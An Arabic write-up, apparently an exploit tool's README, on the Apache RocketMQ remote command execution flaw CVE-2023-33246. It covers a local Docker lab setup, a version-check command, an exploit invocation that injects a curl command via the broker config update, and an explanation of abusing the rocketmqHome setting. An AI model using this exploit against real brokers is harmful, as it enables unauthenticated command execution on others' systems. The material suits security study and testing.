
استغلال لثغرة Apache RocketMQ RCE (CVE-2023-33246) التي تنفذ أوامر عشوائية عبر وظيفة تحديث التكوين، مع إعداد البيئة وأمثلة الاستخدام.
Apache RocketMQ هي واحدة من أشهر منصات المراسلة والبث الموزع وأكثرها استخدامًا. تم الإبلاغ مؤخرًا عن ثغرة تنفيذ أوامر في Apache RocketMQ تؤثر على الإصدار 5.1.0 والإصدارات الأقل. يمكن لمستخدم غير مصادق عن بعد استغلال هذه الثغرة باستخدام وظيفة تحديث التكوين لتنفيذ أوامر بنفس مستوى الوصول الذي يتمتع به عملية مستخدم RocketMQ.
إعداد بيئة RocketMQ محليًا عبر Docker
docker pull apache/rocketmq:4.9.4
### Start nameserver
docker run -d --name rmqnamesrv -p 9876:9876 apache/rocketmq:4.9.4 sh mqnamesrv
### Start Broker
docker run -d --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -p 10909:10909 -p 10911:10911 -p 10912:10912 apache/rocketmq:4.9.4 sh mqbroker -c /home/rocketmq/rocketmq-4.9.4/conf/broker.conf
باستخدام التكوين الافتراضي، تبدأ مجموعة الوسيط (Broker cluster) على منفذ TCP 9876 لاستقبال الرسائل من العميل. على سبيل المثال، فيما يلي اتصال نموذجي بين عميل ووسيط لجلب إصدار RocketMQ.
python3 check.py --ip 127.0.0.1 --port 9876

PCAP

يتم تفعيل الدالة UpdateBrokerConfig() عند استلام طلب بالرمز '25'، المرتبط بـ RequestCode.
python3 CVE-2023-33246_RocketMQ_RCE_EXPLOIT.py 127.0.0.1 10911 curl 127.0.0.1/exp

PCAP

نستخدم إعداد الخادم "rocketmqHome" الموجود في ملف broker.conf. يحدد هذا الإعداد قيمة المتغير البيئي ROCKETMQ_HOME داخل عملية مستخدم RocketMQ. من خلال صياغة هذه القيمة بعناية، يمكننا تنفيذ الأوامر التي نختارها.

هذه هي طريقة عمل هذه الثغرة..